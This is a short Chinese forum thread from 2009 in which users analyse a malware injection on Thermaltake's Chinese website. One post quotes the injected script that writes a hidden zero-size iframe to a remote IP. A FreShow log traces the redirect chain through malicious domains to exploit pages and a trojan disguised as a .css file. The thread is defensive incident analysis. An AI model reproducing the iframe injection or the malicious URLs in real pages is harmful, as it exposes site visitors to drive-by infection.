http://www.thermaltake.com.cn/

ledled

在QQ群有人报TT官网挂马，各位分析下

lichun005

document.write('<iframe src=http://210.111.204.42/images/bip228.htm width=0 height=0></iframe>');
图片里被插入

xiaoxmj

金山网盾报

cchao21

Log is generated by FreShow.
[wide]http://www.thermaltake.com.cn
    [script]http://www.thermaltake.com.cn/AC_RunActiveContent.js
    [script]http://www.bjpepsi.com.cn/images/index_0l0.gif
        [frame]http://210.111.204.42/images/bip228.htm
        [frame]http://www.good0632.cn/one/a6.htm
            [frame]http://www.sll6890.cn/a1/fxx.htm
                [frame]http://www.sll6890.cn/a1/fx.htm
                    [frame]http://www.sll6890.cn/a1/Ilink.html
                    [frame]http://www.sll6890.cn/a1/flink.html
                [frame]http://www.sll6890.cn/a1/../a1/ss.htm
                    [script]http://www.sll6890.cn/a1/../a1/xmybrx.js
                        [object]http://d.bnksw.com/new/a1.css
                [frame]http://www.sll6890.cn/a1/../a1/Ms06014.htm
                [frame]http://www.sll6890.cn/a1/../a1/sina.htm
                [frame]http://www.sll6890.cn/a1/../a1/no.htm
                [frame]http://www.sll6890.cn/a1/../a1/bfyy.htm
                [frame]http://www.sll6890.cn/a1/../a1/GLWORLD.html
                [frame]http://www.sll6890.cn/a1/../a1/real.htm
                [frame]http://www.sll6890.cn/a1/../a1/real.hTml
            [script]http://js.tongji.cn.yahoo.com/857114/ystet.js
        [script]http://www.bjpepsi.com.cn/images/index_0l0.gif
        [script]http://www.thermaltake.com.cn/ad/js/yu.js
        [script]http://www.thermaltake.com.cn/ad/js/tb.js

[ 本帖最后由 cchao21 于 2009-2-24 23:40 编辑 ]

ledled

名称: Trojan.Runner.Gen.2
类型: Mutant

描述:


文件:
c:\users\administrator\desktop\a1.css
原来是这个，辛苦了~